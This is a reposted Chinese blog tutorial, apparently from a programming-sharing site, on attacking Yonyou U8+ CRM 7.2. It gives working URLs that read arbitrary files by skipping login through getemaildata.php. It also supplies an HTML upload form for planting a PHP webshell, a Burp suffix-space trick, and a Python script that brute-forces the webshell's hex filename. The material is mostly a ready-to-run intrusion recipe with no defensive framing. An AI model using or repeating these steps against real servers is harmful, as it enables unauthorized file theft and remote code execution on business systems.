欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

用友 U8+ CRM 可上传任何文件、读取任何文件

最编程 2024-04-30 19:35:09
...

用友CRM系统,使用量非常广,这里存在任意文件读取漏洞、任意文件上传漏洞


任意文件读取

存在漏洞的文件为:

/ajax/getemaildata.php

访问http://IP:端口/ajax/getemaildata.php?DontCheckLogin=1&filePath=../version.txt

可以看到用友版本7.2 patch2

访问http://IP:端口/ajax/getemaildata.php?DontCheckLogin=1&filePath=c:/windows/win.ini

可以看到C://windows/win.ini


任意文件上传

首先构造一个文件上传的页面

<html>

<form action="http://IP:端口//ajax/getemaildata.php?DontCheckLogin=1" method="post" enctype ="multipart/form-data"> 

  <input type="file" name="file" /> 

  <input type="submit" name="upload" value="upload"/>

</form>

</html>

选择php一句话木马

打开burp进行抓包,在文件上传的后缀名处添加一个空格

返回的tmpfile\\mht3AC8.tmp.mht即为木马地址,访问http://IP:端口/tmpfile//mht3AC8.tmp.mht即可看到未解析的马。木马的位置为tmpfile/upd****.tmp.php,将前面的mht改为upd,将后面的mht改为php

抓包,将其放到爆破工具里,爆破中间的3AC8,范围是从0000~FFFF,共65536个

生成字典的脚本如下:

with open('1.txt', 'w') as f:
    for i in range(0x10000):
        f.write(format(i, '04X') + '\n')

该脚本会在当前目录下生成1.txt

成功访问到马

原文地址:https://www.cnblogs.com/lizongxin/p/17152772.html

推荐阅读